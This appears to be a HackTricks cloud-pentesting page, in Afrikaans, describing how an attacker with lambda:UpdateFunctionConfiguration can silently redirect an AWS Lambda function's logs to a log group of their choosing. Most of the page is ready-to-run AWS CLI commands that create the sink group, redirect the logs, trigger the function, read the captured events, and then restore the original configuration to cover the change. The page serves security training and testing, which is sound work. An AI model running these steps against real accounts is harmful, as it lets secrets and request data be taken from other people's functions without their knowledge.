# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik die gevorderde logbeheer van `lambda:UpdateFunctionConfiguration` om 'n funksie se logs na 'n deur die aanvaller gekose CloudWatch Logs log group om te lei. Dit werk sonder om kode of die uitvoeringsrol te verander (die meeste Lambda-rolle sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` in via `AWSLambdaBasicExecutionRole`). As die funksie geheime of request bodies uitskryf, of met stack traces crash, kan jy dit vanaf die nuwe log group versamel.

## Benodigde permissies
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (of vertrou op bestaande triggers)
- logs:CreateLogGroup (dikwels nie nodig as die funksie se rol dit het nie)
- logs:FilterLogEvents (om gebeurtenisse te lees)

## Stappe
1) Skep 'n sink log group
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) Herlei die logs van die teikenfunksie
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
Wag totdat `LastUpdateStatus` na `Successful` verander:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) Roep die sink aan en lees daarvan
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## Impak
- Stiekem herlei alle toepassings-/stelsel-logs na 'n log group wat jy beheer, deur die verwagting te omseil dat logs slegs in `/aws/lambda/<fn>` beland.
- Exfiltrate sensitiewe data wat deur die funksie gedruk word of in foute aan die lig kom.

## Opruiming
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## Aantekeninge
- Logging controls maak deel uit van Lambda’s `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
- Standaard stuur Lambda logs na `/aws/lambda/<function>`, maar jy kan dit na enige log group name wys; Lambda (of die execution role) sal dit skep as dit toegelaat word.

{{#include ../../../../banners/hacktricks-training.md}}
